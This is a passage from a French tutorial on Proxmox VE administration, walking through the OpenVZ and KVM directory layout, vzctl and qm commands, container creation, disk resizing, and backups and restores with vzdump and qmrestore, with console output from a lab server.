
b. Petit tour dans l’arborescence de Proxmox

Avant de se lancer dans la gestion des machines en ligne de commande, il est intéressant de

regarder comment le disque est organisé par Proxmox.

La partition la plus grande du disque se trouve montée dans /var/lib/vz. C’est à cet endroit que

nous allons trouver nos machines. Entrons dans ce dossier et regardons son contenu, puis

celui du sous-dossier private.

root@proxmox:~# cd /var/lib/vz

root@proxmox:/var/lib/vz# ls -l

total 44

drwxr-xr-x 3 root root 4096 Apr 1 09:48 dump

drwxr-xr-x 4 root root 4096 Apr 4 08:52 images

drwxr-xr-x 2 root root 4096 Apr 4 05:38 lock

drwx------ 2 root root 16384 Jan 2 12:01 lost+found

drwxr-xr-x 5 root root 4096 Apr 3 11:34 private

drwxr-xr-x 5 root root 4096 Apr 3 11:34 root

drwxr-xr-x 5 root root 4096 Jan 2 12:02 template

drwxr-xr-x 2 root root 4096 Apr 3 11:30 vztmp

root@proxmox:/var/lib/vz# ls -l private/

total 12

drwxr-xr-x 20 root root 4096 Apr 4 05:38 100

drwxr-xr-x 20 root root 4096 Apr 3 11:36 102

root@proxmox:/var/lib/vz#

Nous retrouvons nos deux conteneurs, c’est-à-dire les machines OpenVZ, mais pas la

machine KVM. Si nous entrons dans le dossier 100 et que nous inspectons son contenu, nous

retrouvons l’arborescence de la machine virtuelle.

root@proxmox:/var/lib/vz# cd private/100

root@proxmox:/var/lib/vz/private/100# ls -l

total 72

drwxr-xr-x 2 root root 4096 Apr 3 08:57 bin

drwxr-xr-x 2 root root 4096 Sep 23 2012 boot

drwxr-xr-x 4 root root 4096 Apr 4 05:38 dev

drwxr-xr-x 57 root root 4096 Apr 4 05:48 etc

drwxr-xr-x 3 root root 4096 Apr 4 05:48 home

drwxr-xr-x 8 root root 4096 Oct 22 12:01 lib

drwxr-xr-x 2 root root 4096 Oct 22 11:58 media

drwxr-xr-x 2 root root 4096 Sep 23 2012 mnt

drwxr-xr-x 2 root root 4096 Oct 22 11:58 opt

drwxr-xr-x 2 root root 4096 Sep 23 2012 proc

drwx------ 2 root root 4096 Mar 31 13:44 root

drwxr-xr-x 2 root root 4096 Oct 22 12:01 sbin

drwxr-xr-x 2 root root 4096 Jul 21 2010 selinux

drwxr-xr-x 2 root root 4096 Oct 22 11:58 srv

drwxr-xr-x 2 root root 4096 Mar 27 2012 sys

drwxrwxrwt 4 root root 4096 Apr 4 08:44 tmp

drwxr-xr-x 10 root root 4096 Oct 22 11:58 usr

drwxr-xr-x 14 root root 4096 Apr 4 05:27 var

root@proxmox:/var/lib/vz/private/100#

C’est l’un des principes d’OpenVZ. Nous pouvons travailler directement sur le disque de tous

les conteneurs OpenVZ sans même démarrer les machines, ou encore directement alors

qu’elles sont en fonctionnement. Ceci est très souple car il est possible de modifier les fichiers

de configuration des services sans même s’identifier sur la machine concernée.

Attention, le dossier /var/lib/vz/private/100 contient l’arborescence de la machine qui sera

montée dans /var/lib/vz/root/100 quand la machine sera démarrée.

Pour ce qui est de la machine KVM, nous trouvons une image de son disque dans

/var/lib/vz/images/500.

root@proxmox:~# ls -l /var/lib/vz/images/500

total 0

-rw-r--r-- 1 root root 10737418240 Apr 4 08:53 vm-500-disk-1.raw

root@proxmox:~#

L’image iso que nous avons déposée sur le serveur se trouve quant à elle dans

/var/lib/vz/template/iso.

root@proxmox:~# ls -l /var/lib/vz/template/iso/

total 616084

-rw------- 1 root root 630245376 Apr 1 05:51 WinXP3_VL.iso

root@proxmox:~#

Quant au modèle de la Debian-6.0, nous le trouvons dans /var/lib/vz/template/cache.

root@proxmox:~# ls -l /var/lib/vz/template/cache/

total 140744

-rw-r--r-- 1 root root 143972544 Oct 22 12:10 debian-6.0-

standard_6.0-6_i386.tar.gz

root@proxmox:~#

Nous ne pouvons pas ici détailler tout le contenu du disque dur du serveur mais seulement les

emplacements qui nous semblent les plus importants. Ce qui vient naturellement ensuite est

donc le dossier où est stockée la configuration des machines. Celle-ci se trouve dans /etc/pve,

ainsi que la configuration du serveur.

Dans le sous-dossier openvz, nous trouvons les deux fichiers de configuration de nos

conteneurs.

root@proxmox:~# ls -l /etc/pve

total 4

-rw-r----- 1 root www-data 451 Jan 2 12:04 authkey.pub

-rw-r----- 1 root www-data 13 Jan 2 12:03 datacenter.cfg

lrwxr-x--- 1 root www-data 0 Jan 1 1970 local -> nodes/proxmox

drwxr-x--- 2 root www-data 0 Jan 2 12:04 nodes

lrwxr-x--- 1 root www-data 0 Jan 1 1970 openvz ->

nodes/proxmox/openvz

drwx------ 2 root www-data 0 Jan 2 12:04 priv

-rw-r----- 1 root www-data 1533 Jan 2 12:04 pve-root-ca.pem

-rw-r----- 1 root www-data 1675 Jan 2 12:04 pve-www.key

lrwxr-x--- 1 root www-data 0 Jan 1 1970 qemu-server ->

nodes/proxmox/qemu-server

-rw-r----- 1 root www-data 139 Apr 1 10:22 storage.cfg

-rw-r----- 1 root www-data 54 Jan 2 18:23 user.cfg

-rw-r----- 1 root www-data 119 Jan 2 12:04 vzdump.cron

root@proxmox:~# ls /etc/pve/openvz/ -l

total 2

-rw-r----- 1 root www-data 966 Apr 3 11:20 100.conf

-rw-r----- 1 root www-data 968 Apr 3 11:36 102.conf

root@proxmox:~#

Inspectons par curiosité le fichier de configuration de la machine 100 avec notre éditeur

préféré. Voici son contenu :

ONBOOT="no"

PHYSPAGES="0:512M"

SWAPPAGES="0:512M"

KMEMSIZE="232M:256M"

DCACHESIZE="116M:128M"

LOCKEDPAGES="256M"

PRIVVMPAGES="unlimited"

SHMPAGES="unlimited"

NUMPROC="unlimited"

VMGUARPAGES="0:unlimited"

OOMGUARPAGES="0:unlimited"

NUMTCPSOCK="unlimited"

NUMFLOCK="unlimited"

NUMPTY="unlimited"

NUMSIGINFO="unlimited"

TCPSNDBUF="unlimited"

TCPRCVBUF="unlimited"

OTHERSOCKBUF="unlimited"

DGRAMRCVBUF="unlimited"

NUMOTHERSOCK="unlimited"

NUMFILE="unlimited"

NUMIPTENT="unlimited"

# Disk quota parameters (in form of softlimit:hardlimit)

DISKSPACE="4G:4613734"

DISKINODES="800000:880000"

QUOTATIME="0"

QUOTAUGIDLIMIT="0"

# CPU fair scheduler parameter

CPUUNITS="1000"

CPUS="1"

HOSTNAME="WEB1.Labo"

SEARCHDOMAIN="Labo"

NAMESERVER="8.8.8.8"

NETIF="ifname=eth0,mac=8A:F5:DE:2A:79:AE,host_ifname=veth100.0,host

_mac=26:5F:0D:2B:4A:52,bridge=vmbr0"

VE_ROOT="/var/lib/vz/root/$VEID"

VE_PRIVATE="/var/lib/vz/private/100"

OSTEMPLATE="debian-6.0-standard_6.0-6_i386.tar.gz"

Nous constatons que nous retrouvons l’ensemble des paramètres que nous avons réglés à

l’aide de l’interface web.

Il est préférable de ne pas modifier les options manuellement dans le fichier, sauf dans des cas

particuliers. Nous verrons dans le point suivant qu’il existe des commandes spécialisées pour

cela.

Voilà pour les principaux dossiers. Nous constatons la souplesse d’OpenVZ. Voyons à

présent comment administrer les machines directement en ligne de commande sur le serveur.

c. Les commandes utiles

Nous partons du principe dans cette section que nous sommes connectés en console sur notre

serveur en tant qu’administrateur root. Nous avons donc face à nous une invite de commande

et allons explorer quelques éléments d’administration des machines virtuelles.

Il existe deux commandes principales : vzctl pour contrôler les machines d’OpenVZ et qm

pour les machines KVM. Mais avant de rentrer dans l’administration de celles-ci, il est

intéressant de pouvoir les lister. La commande vzlist nous permet de lister les conteneurs

OpenVZ actuellement en fonctionnement. Si nous voulons lister l’ensemble des conteneurs, il

faut ajouter l’option -a. Pour KVM, ce sera la commande qm list.

root@proxmox:~# vzlist

root@proxmox:~# vzlist -a

CTID NPROC STATUS IP_ADDR HOSTNAME

100 - stopped - WEB1.Labo

102 - stopped - WEB2

103 - stopped - WEB3

root@proxmox:~# qm list

VMID NAME STATUS MEM(MB) BOOTDISK(GB) PID

500 Win1 stopped 512 10.00 0

root@proxmox:~#

Nous visualisons bien l’ensemble de nos machines virtuelles et leur état actuel. Nous avons

aussi leur nom et leur ID.

Démarrons à présent la première machine WEB1.Labo. Celle-ci a pour ID 100 et c’est ce

paramètre qu’il faudra passer à la commande vzctl avec l’action souhaitée sur la VM. Ce sera

la même chose pour la machine KVM d’ID 500 dans laquelle nous avons installé un système

Windows en utilisant la commande qm. Voici ce que cela donne.

root@proxmox:~# vzctl start 100

Starting container ...

Container is mounted

Setting CPU units: 1000

Setting CPUs: 1

Configure veth devices: veth100.0

Adding interface veth100.0 to bridge vmbr0 on CT0 for CT100

Container start in progress...

root@proxmox:~# vzlist

CTID NPROC STATUS IP_ADDR HOSTNAME

100 71 running - WEB1.Labo

root@proxmox:~# qm start 500



500 Win1 running 512 10.00

16881

root@proxmox:~#

Il est tout aussi facile de stopper ces machines avec les commandes :

vzctl stop 100

qm stop 101root@proxmox:~# vzctl stop 100

Stopping container ...

Container was stopped

Container is unmounted

root@proxmox:~# qm stop 500

root@proxmox:~#

Il est aussi très facile d’entrer dans une VM OpenVZ depuis le serveur. Nous avons déjà vu

que l’arborescence du disque était accessible, mais nous pouvons aller plus loin en

s’identifiant directement comme administrateur (root) sur une VM OpenVZ. Pour cela, il faut

utiliser la commande vzctl enter ID après avoir bien évidemment démarré la machine.

Voici un exemple :





Setting CPUs: 1




root@proxmox:~# vzctl enter 100

entered into CT 100

root@WEB1:/# more /etc/apt/sources.list

deb http://ftp.debian.org/debian squeeze main contrib

deb http://ftp.debian.org/debian squeeze-updates main contrib

deb http://security.debian.org squeeze/updates main contrib

Nous constatons que nous obtenons bien une invite de commande en tant qu’utilisateur root

sur la machine WEB1 et que celle-ci est bien une Debian squeeze comme l’indiquent les

dépôts déclarés dans son fichier sources.list.

Notre machine a normalement été déclarée avec une interface réseau en pont (Bridge), il est

donc possible de configurer celle-ci pour un accès Internet. Par exemple, si nous disposons

pour cette connexion d’un serveur DHCP, c’est alors très simple. Il nous est alors possible de

mettre à jour le système d’exploitation de la VM.

Par la suite, nous pourrons installer tous les services dont nous avons besoin. Cet accès à la

VM directement depuis une connexion SSH sur le serveur est bien plus souple que la console

Java de l’interface web. Mais il arrive parfois que nous n’ayons pas le choix. Réalisons la

manipulation que nous venons de décrire.

root@WEB1:/# dhclient eth0

root@WEB1:/# aptitude update

Hit http://ftp.debian.org squeeze Release.gpg

Ign http://ftp.debian.org/debian/ squeeze/contrib Translation-en

Ign http://ftp.debian.org/debian/ squeeze/main Translation-en

Get:1 http://security.debian.org squeeze/updates Release.gpg [836 B]

Ign http://security.debian.org/ squeeze/updates/contrib

Translation-en

Ign http://security.debian.org/ squeeze/updates/main Translation-en

Get:2 http://ftp.debian.org squeeze-updates Release.gpg [836 B]

Ign http://ftp.debian.org/debian/ squeeze-updates/contrib

Translation-en

Ign http://ftp.debian.org/debian/ squeeze-updates/main

Translation-en

Hit http://ftp.debian.org squeeze Release

Get:3 http://security.debian.org squeeze/updates Release [87.0 kB]

Get:4 http://ftp.debian.org squeeze-updates Release [113 kB]

Get:5 http://security.debian.org squeeze/updates/main i386

Packages [386 kB]

Hit http://ftp.debian.org squeeze/main i386 Packages

Hit http://ftp.debian.org squeeze/contrib i386 Packages

Hit http://ftp.debian.org squeeze-updates/main i386

Packages/DiffIndex

Get:6 http://ftp.debian.org squeeze-updates/contrib i386 Packages

[20 B]

Get:7 http://ftp.debian.org squeeze-updates/main i386 Packages

[4493 B]

Get:8 http://security.debian.org squeeze/updates/contrib i386

Packages [621 B]

Fetched 593 kB in 1s (482 kB/s)

root@WEB1:/# aptitude full-upgrade

No packages will be installed, upgraded, or removed.

0 packages upgraded, 0 newly installed, 0 to remove and 0 not

upgraded.

Need to get 0 B of archives. After unpacking 0 B will be used.

root@WEB1:/#

Voilà, nous disposons d’une Debian Squeeze flambant neuve et prête à être utilisée.

La souplesse d’OpenVZ permet aussi de modifier la configuration des machines virtuelles

alors que celles-ci sont en fonctionnement. Si par exemple nous trouvons que la taille du

disque dur que nous avions initialement choisie est insuffisante, il est possible de l’augmenter

en une seule commande.

Dans la manipulation suivante, nous allons :

Visualiser la taille actuelle du disque dur de la WM d’ID 100.

Sortir de la VM.

Modifier la taille du disque en la montant à 6 Go.

Entrer à nouveau dans la VM et contrôler la nouvelle taille du disque.

Toutes ces opérations vont être effectuées sans arrêter la machine. Si des services étaient

fournis à des usagers, ceux-ci n’auraient subi aucune interruption de service.

La commande qui permet de modifier les paramètres de la machine est :

vzctl set $IDVM$ --$paramètre$ $valeur$ --$option$

Réalisons l’opération :


entered into CT 100

root@WEB1:/# df -h

Filesystem Size Used Avail Use% Mounted on

/dev/simfs 4.0G 440M 3.6G 11% /

tmpfs 256M 0 256M 0% /lib/init/rw

tmpfs 256M 0 256M 0% /dev/shm

root@WEB1:/# exit

logout

exited from CT 100

root@proxmox:~# vzctl set 100 --diskspace 6G:6G --save

CT configuration saved to /etc/pve/openvz/100.conf


entered into CT 100

root@WEB1:/# df -h


/dev/simfs 6.0G 440M 5.6G 8% /



root@WEB1:/#

Nous constatons bien que la taille du disque dur de notre VM vient de passer à 6 Go. L’option

--save passée en fin de commande indique que nous souhaitons conserver cette modification

dans le fichier de configuration. Ceci rendra pérenne cette nouvelle taille de disque. Cela veut

dire aussi qu’il est possible de changer temporairement la taille d’un disque mais de ne pas

conserver ce changement. Dans ce cas, le disque aura retrouvé sa taille initiale au prochain

redémarrage de la VM.

Pour la taille du disque, deux paramètres séparés par deux points ont été indiqués. C’est parce

qu’il existe deux limites de disque à indiquer : une limite logicielle (soft) et une limite

matérielle (hard). La différence, sans entrer dans les détails, est que la limite logicielle peut

être dépassée temporairement.

Il est possible de faire aussi des modifications sur la mémoire, le temps processeur alloué, le

nombre de cœurs de processeur, les interfaces réseau, etc. Il est impossible de voir toutes les

possibilités ici. Elles sont très nombreuses. De l’aide est disponible sur chaque option de

vzctl. Listons ces options :

root@proxmox:~# vzctl --help

vzctl version 4.0-4.git.162dded

Copyright (C) 2000-2012, Parallels, Inc.

This program may be distributed under the terms of the GNU GPL License.

Usage: vzctl [options] <command> <ctid> [parameters]

vzctl create <ctid> [--ostemplate <name>] [--config <name>]

[--layout ploop|simfs] [--hostname <name>] [--name <name>]

[--ipadd <addr>]

[--diskspace <kbytes>] [--private <path>] [--root <path>]

vzctl start <ctid> [--force] [--wait]

vzctl destroy | mount | umount | stop | restart | status <ctid>

vzctl quotaon | quotaoff | quotainit <ctid>

vzctl console <ctid> [ttyno]

vzctl enter <ctid> [--exec <command> [arg ...]]

vzctl exec | exec2 <ctid> <command> [arg ...]

vzctl runscript <ctid> <script>

vzctl chkpnt <ctid> [--dumpfile <name>]

vzctl restore <ctid> [--dumpfile <name>]

vzctl set <ctid> [--save] [--force] [--setmode restart|ignore]

[--ram <bytes>[KMG]] [--swap <bytes>[KMG]]

[--ipadd <addr>] [--ipdel <addr>|all] [--hostname <name>]

[--nameserver <addr>] [--searchdomain <name>]

[--onboot yes|no] [--bootorder <N>]

[--userpasswd <user>:<passwd>]

[--cpuunits <N>] [--cpulimit <N>] [--cpus <N>] [--cpumask <cpus>]

[--diskspace <soft>[:<hard>]] [--diskinodes <soft>[:<hard>]]

[--quotatime <N>] [--quotaugidlimit <N>] [--mount_opts

<opt>[,<opt>...]]

[--capability <name>:on|off ...]

[--devices b|c:major:minor|all:r|w|rw]

[--devnodes device:r|w|rw|none]

[--netif_add <ifname[,mac,host_ifname,host_mac,bridge]]>]

[--netif_del <ifname>]

[--applyconfig <name>] [--applyconfig_map <name>]

[--features <name:on|off>] [--name <vename>] [--ioprio <N>]

[--pci_add [<domain>:]<bus>:<slot>.<func>] [--pci_del <d:b:s.f>]

[--iptables <name>] [--disabled <yes|no>]

[UBC parameters]

UBC parameters (N - items, P - pages, B - bytes):

Two numbers divided by colon means barrier:limit.

In case the limit is not given it is set to the same value as the

barrier.

--numproc N[:N] --numtcpsock N[:N] --numothersock N[:N]

--vmguarpages P[:P] --kmemsize B[:B] --tcpsndbuf B[:B]

--tcprcvbuf B[:B] --othersockbuf B[:B] --dgramrcvbuf B[:B]

--oomguarpages P[:P] --lockedpages P[:P] --privvmpages P[:P]

--shmpages P[:P] --numfile N[:N] --numflock N[:N]

--numpty N[:N] --numsiginfo N[:N] --dcachesize N[:N]

--numiptent N[:N] --physpages P[:P] --avnumproc N[:N]

--swappages P[:P]

root@proxmox:~#

La dernière opération que nous allons voir avec la commande vzctl est la création d’un

conteneur. Pour pouvoir créer le conteneur, il faut régler un minimum d’informations comme

la taille du disque dur, le nombre maximal d’inodes, etc.

Le plus simple est de reprendre le fichier de configuration d’une machine similaire et

d’ajuster les nouveaux paramètres suivant ce que l’on désire.

Nous commençons par copier le fichier de configuration de la machine d’ID 100 dans

110.conf avec la commande suivante :

cp /etc/pve/openvz/100.conf /etc/pve/openvz/110.conf

Nous éditons ensuite ce nouveau fichier, avec nano par exemple, pour effectuer quelques

modifications. Voici le nouveau fichier de configuration pour la machine d’ID 110.

ONBOOT="no"

PHYSPAGES="0:512M"

SWAPPAGES="0:512M"

KMEMSIZE="232M:256M"

DCACHESIZE="116M:128M"

LOCKEDPAGES="256M"

PRIVVMPAGES="unlimited"

SHMPAGES="unlimited"

NUMPROC="unlimited"

VMGUARPAGES="0:unlimited"

OOMGUARPAGES="0:unlimited"

NUMTCPSOCK="unlimited"

NUMFLOCK="unlimited"

NUMPTY="unlimited"

NUMSIGINFO="unlimited"

TCPSNDBUF="unlimited"

TCPRCVBUF="unlimited"

OTHERSOCKBUF="unlimited"

DGRAMRCVBUF="unlimited"

NUMOTHERSOCK="unlimited"

NUMFILE="unlimited"

NUMIPTENT="unlimited"

# Disk quota parameters (in form of softlimit:hardlimit)

DISKSPACE="2097152:2097152"

DISKINODES="800000:880000"

QUOTATIME="0"

QUOTAUGIDLIMIT="0"

# CPU fair scheduler parameter

CPUUNITS="1000"

CPUS="1"

HOSTNAME="WEB10"

SEARCHDOMAIN="Labo"

NAMESERVER="8.8.8.8"

NETIF="ifname=eth0,mac=8A:F5:DE:2A:79:BB,host_ifname=veth110.0,

host_mac=26:5F:0D:2B:4A:55,bridge=vmbr0"

VE_ROOT="/var/lib/vz/root/110"

VE_PRIVATE="/var/lib/vz/private/110"

OSTEMPLATE="debian-6.0-standard_6.0-6_i386"

NAME="WEB3"

Les variables importantes qu’il faut absolument modifier pour éviter tout conflit entre les

machines sont :

HOSTNAME : que nous avons modifiée en WEB10.

NETIF : pour laquelle nous avons changé les deux MAC et surtout, nous avons

déclaré le pont en veth110.0.

VE_ROOT et VE_PRIVATE qui pointent vers les nouveaux dossiers avec un chemin

finissant par 110 pour rester cohérent avec l’ID de la machine.

NAME : qui a été ajouté et prend le nom WEB10.

Nous avons aussi modifié la variable DISKSPACE pour créer un disque de 2 Go, mais ce

n’était pas obligatoire. Voilà, tout est prêt pour créer la nouvelle machine, la démarrer puis

s’identifier comme administrateur sur celle-ci pour vérifier qu’elle fonctionne parfaitement.

root@proxmox:~# cp /etc/pve/openvz/103.conf

/etc/pve/openvz/110.conf

root@proxmox:~# nano /etc/pve/openvz/110.conf

root@proxmox:~# vzctl create 110 --ostemplate debian-6.0-

standard_6.0-6_i386 --hostname WEB10 --name WEB10

Name WEB10 assigned

Creating container private area (debian-6.0-standard_6.0-6_i386)

Performing postcreate actions

CT configuration saved to /etc/pve/openvz/110.conf

Container private area was created





Setting CPUs: 1





entered into CT 110

root@WEB10:/# df -h


/dev/simfs 2.0G 383M 1.7G 19% /



root@WEB10:/#

Nous n’irons pas plus loin avec la commande vzctl mais la puissance de celle-ci n’est plus à

démontrer.

Une autre opération qu’il est aussi intéressant de savoir faire en ligne de commande est la

sauvegarde et la restauration des VM. Pour cela, nous disposons de deux commandes :

vzdump : qui permet la sauvegarde d’une machine OpenVZ.

vzrestore : qui permet de restaurer une machine sauvegardée.

Effectuons la sauvegarde de la machine d’ID 100. Comme avec l’interface web, nous

choisissons de stopper la machine pour la sauvegarder et prendrons une compression GZIP.

Ces paramètres seront à passer en arguments à la commande ainsi que le dossier de

destination de la sauvegarde ; voici ce que cela donne :

root@proxmox:~# ls /var/lib/vz/dump/dump/

vzdump-openvz-100-2013_04_03-09_51_12.log vzdump-openvz-100-

2013_04_03-09_51_12.tar.gz

root@proxmox:~# vzdump 100 -compress gzip -dumpdir /va/lib/vz/dump

-mode stop

dumpdir ’/va/lib/vz/dump’ does not exist

root@proxmox:~# vzdump 100 -compress gzip -dumpdir

/var/lib/vz/dump/dump -mode stop

INFO: starting new backup job: vzdump 100 --dumpdir

/var/lib/vz/dump/dump --mode stop --compress gzip

INFO: Starting Backup of VM 100 (openvz)

INFO: CTID 100 exist mounted running

INFO: status = running

INFO: backup mode: stop

INFO: ionice priority: 7

INFO: stopping vm

INFO: Stopping container ...

INFO: Container was stopped

INFO: Container is unmounted

INFO: creating archive ’/var/lib/vz/dump/dump/vzdump-openvz-100-

2013_04_04-10_04_22.tar.gz’

INFO: Total bytes written: 421713920 (403MiB, 11MiB/s)

INFO: archive file size: 170MB

INFO: delete old backup ’/var/lib/vz/dump/dump/vzdump-openvz-100-

2013_04_03-09_51_12.tar.gz’

INFO: CTID 100 exist unmounted down

INFO: restarting vm

INFO: Starting container ...

INFO: Container is mounted

INFO: Setting CPU units: 1000

INFO: Setting CPUs: 1

INFO: Configure veth devices: veth100.0

INFO: Adding interface veth100.0 to bridge vmbr0 on CT0 for CT100

INFO: Container start in progress...

INFO: vm is online again after 44 seconds

INFO: Finished Backup of VM 100 (00:00:44)

INFO: Backup job finished successfully

root@proxmox:~# ls /var/lib/vz/dump/dump

vzdump-openvz-100-2013_04_04-10_04_22.log vzdump-openvz-100-

2013_04_04-10_04_22.tar.gz

root@proxmox:~#

Nous constatons que notre nouvelle sauvegarde a effacé l’ancienne. Il faut donc prendre

garde. En effet, nous n’avons pas précisé l’option -maxfiles dans notre commande et celle-ci

est réglée par défaut à 1.

Pour restaurer la machine, rien de plus simple :

root@proxmox:~# vzrestore /var/lib/vz/dump/dump/vzdump-openvz-100-

2013_04_04-10_04_22.tar.gz 100 -force

cant overwrite mounted container

root@proxmox:~# vzctl stop 100

Stopping container ...

Container was stopped

Container is unmounted

root@proxmox:~# vzrestore /var/lib/vz/dump/dump/vzdump-openvz-100-

2013_04_04-10_04_22.tar.gz 100 -force

you choose to force overwriting VPS config file, private and root

directories.

extracting archive ’/var/lib/vz/dump/dump/vzdump-openvz-100-

2013_04_04-10_04_22.tar.gz’

tar: ./var/lib/apt/lists/security.debian.org_dists_squeeze_updates_

contrib_binary-i386_Packages: time stamp 2013-04-04 16:01:14 is

21186.107918382 s in the future

tar: ./var/lib/apt/lists/security.debian.org_dists_squeeze_updates_

Release: time stamp 2013-04-04 16:01:27 is 21199.106609008 s in the

future

tar: ./var/lib/apt/lists/ftp.debian.org_debian_dists_squeeze-

updates_main_binary-i386_Packages: time stamp 2013-04-05 04:02:45

is 64477.105968429 s in the future


updates_Release.gpg: time stamp 2013-04-05 04:22:11 is

65643.105881268 s in the future


updates_Release: time stamp 2013-04-05 04:22:11 is 65643.104792032

s in the future


updates_contrib_binary-i386_Packages: time stamp 2013-04-05

04:12:07 is 65039.101766534 s in the future

tar:

./var/lib/apt/lists/security.debian.org_dists_squeeze_updates_main

_binary-i386_Packages: time stamp 2013-04-04 16:01:08 is

21180.07657332 s in the future

tar:

./var/lib/apt/lists/security.debian.org_dists_squeeze_updates_

Release.gpg: time stamp 2013-04-04 16:01:27 is 21199.074864738 s in

the future

Total bytes read: 421713920 (403MiB, 42MiB/s)

restore configuration to ’/etc/pve/nodes/proxmox/openvz/100.conf’

vzquota : (warning) Quota file exists, it will be overwritten

root@proxmox:~#

Nous avons volontairement fait deux erreurs dans les deux premières

commandes. Premièrement, nous constatons que si le conteneur existe, il faut forcer sa

restauration. Deuxièmement, il faut que le conteneur soit stoppé pour le restaurer.

Lors de cette opération dans l’interface web nous avions parlé du clonage d’une machine, ce

qui est tout simple en ligne de commande. Il faut tout simplement restaurer une sauvegarde

dans un autre conteneur et le tour est joué.

Pour le moment, nous nous sommes principalement intéressés aux conteneurs OpenVZ.

Passons à la gestion des machines KVM. Si nous regardons la liste des commandes de qm,

nous constatons qu’elles sont assez nombreuses.

root@proxmox:~# qm help

USAGE: qm <COMMAND> [ARGS] [OPTIONS]

qm config <vmid>

qm create <vmid> [OPTIONS]

qm delsnapshot <vmid> <snapname> [OPTIONS]

qm destroy <vmid> [OPTIONS]

qm list

qm migrate <vmid> <target> [OPTIONS]

qm reset <vmid> [OPTIONS]

qm resize <vmid> <disk> <size> [OPTIONS]

qm resume <vmid> [OPTIONS]

qm rollback <vmid> <snapname>

qm sendkey <vmid> <key> [OPTIONS]

qm set <vmid> [OPTIONS]

qm shutdown <vmid> [OPTIONS]

qm snapshot <vmid> <snapname> [OPTIONS]

qm start <vmid> [OPTIONS]

qm stop <vmid> [OPTIONS]

qm suspend <vmid> [OPTIONS]

qm template <vmid> [OPTIONS]

qm unlink <vmid> {<idlist>} [OPTIONS]

qm help [<cmd>] [OPTIONS]

qm monitor <vmid>

qm mtunnel

qm rescan [OPTIONS]

qm showcmd <vmid>

qm status <vmid> [OPTIONS]

qm unlock <vmid>

qm vncproxy <vmid>

qm wait <vmid> [OPTIONS]

root@proxmox:~#

Nous pouvons comme avec OpenVZ démarrer et arrêter les machines à l’aide des commandes

start et stop.

root@proxmox:~# qm status 500

status: stopped

root@proxmox:~# qm start 500

root@proxmox:~# qm status 500

status: running

root@proxmox:~# qm stop 500

root@proxmox:~#

Attention ici, l’option stop arrête brutalement la machine contrairement à OpenVZ ; ceci n’est

pas toujours recommandé. Il vaut mieux envoyer un signal d’arrêt à la machine avec la

commande shutdown.

Pour créer une machine KVM, il faut utiliser la commande qm create. Mais celle-ci dispose

d’un très grand nombre d’options. Il suffit de voir la commande qui permet de lancer la VM

pour s’en rendre compte :

root@proxmox:~# qm showcmd 500

/usr/bin/kvm -id 500 -chardev socket,id=qmp,path=/var/run/

qemu-server/500.qmp,server,nowait -mon chardev=qmp,mode=control

-vnc unix:/var/run/qemu-server/500.vnc,x509,password -pidfile

/var/run/qemu-server/500.pid -daemonize -name Win1 -smp

sockets=1,cores=1 -nodefaults -boot menu=on -vga cirrus -k fr

-m 512 -cpuunits 1000 -device piix3-usb-uhci,id=uhci,bus=pci.0,

addr=0x1.0x2 -device usb-tablet,id=tablet,bus=uhci.0,port=1

-device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x3

-drive file=/var/lib/vz/template/iso/WinXP3_VL.iso,if=none,

id=drive-ide2,media=cdrom,aio=native

-device ide-cd,bus=ide.1,unit=0,drive=drive-ide2,id=ide2,

bootindex=200 -drive file=/var/lib/vz/images/500/vm-500-

disk-1.raw,if=none,id=drive-ide0,aio=native,cache=none

-device ide-hd,bus=ide.0,unit=0,drive=drive-ide0,id=ide0,

bootindex=100 -netdev type=tap,id=net0,ifname=tap500i0,

script=/var/lib/qemu-server/pve-bridge -device

rtl8139,mac=82:EE:6A:BE:82:DA,netdev=net0,bus=pci.0,

addr=0x12,id=net0,bootindex=300 -rtc driftfix=slew,

base=localtime -machine accel=tcg

root@proxmox:~#

Pour ne pas faire d’erreur et obtenir une machine bien configurée, le plus simple est soit de

passer par l’interface web, soit de cloner une machine semblable à celle que nous voulons

créer et de modifier ses paramètres par la suite. Commençons par effectuer une sauvegarde de

la machine 500 :

root@proxmox:~# vzdump 500 -compress gzip -dumpdir

/var/lib/vz/dump/dump/ -mode stop

INFO: starting new backup job: vzdump 500 --dumpdir

/var/lib/vz/dump/dump/ --mode stop --compress gzip

INFO: Starting Backup of VM 500 (qemu)

INFO: status = stopped

INFO: backup mode: stop

INFO: ionice priority: 7

INFO: creating archive ’/var/lib/vz/dump/dump/vzdump-qemu-500-

2013_04_04-11_12_15.vma.gz’

INFO: starting kvm to execute backup task

INFO: started backup task ’5fd8b493-2164-493e-889c-7f12036cb626’

INFO: status: 22% (2416574464/10737418240), sparse 22%

(2416570368), duration 3, 805/0 MB/s


(4777701376), duration 6, 787/0 MB/s


(7173566464), duration 9, 798/0 MB/s


(9539874816), duration 12, 788/0 MB/s


(10737414144), duration 14, 598/0 MB/s

INFO: transferred 10737 MB in 14 seconds (766 MB/s)

INFO: stopping kvm after backup task

INFO: archive file size: 402KB

INFO: Finished Backup of VM 500 (00:00:17)

INFO: Backup job finished successfully

root@proxmox:~# ls /var/lib/vz/dump/dump/ -lh

total 172M

-rw-r--r-- 1 root root 886 Apr 4 10:05 vzdump-openvz-100-

2013_04_04-10_04_22.log

-rw-r--r-- 1 root root 171M Apr 4 10:05 vzdump-openvz-100-

2013_04_04-10_04_22.tar.gz

-rw-r--r-- 1 root root 1.2K Apr 4 11:12 vzdump-qemu-500-

2013_04_04-11_12_15.log

-rw-r--r-- 1 root root 403K Apr 4 11:12 vzdump-qemu-500-

2013_04_04-11_12_15.vma.gz

root@proxmox:~#

Créons à présent une VM sans aucun paramètre :

root@proxmox:~# qm create 501

root@proxmox:~# ls /etc/pve/qemu-server

500.conf 501.conf

root@proxmox:~# more /etc/pve/qemu-server/501.conf



500 Win1 stopped 512 10.00 0

501 VM 501 stopped 0 0.00 0

Nous constatons que la VM 501 est bien créée, mais elle a un nom par défaut, ne dispose pas

de mémoire RAM ni de disque dur et que son fichier de configuration est vide. Mais comme

cette VM existe à présent, il est possible de restaurer la sauvegarde de la VM 500 dessus.

root@proxmox:~# qmrestore /var/lib/vz/dump/dump/vzdump-qemu-500-

2013_04_04-11_12_15.vma.gz 501 -force -unique 1

restore vma archive: zcat /var/lib/vz/dump/dump/vzdump-qemu-500-

2013_04_04-11_12_15.vma.gz|vma extract -v -r

/var/tmp/vzdumptmp27332.fifo - /var/tmp/vzdumptmp27332

CFG: size: 259 name: qemu-server.conf

DEV: dev_id=1 size: 10737418240 devname: drive-ide0

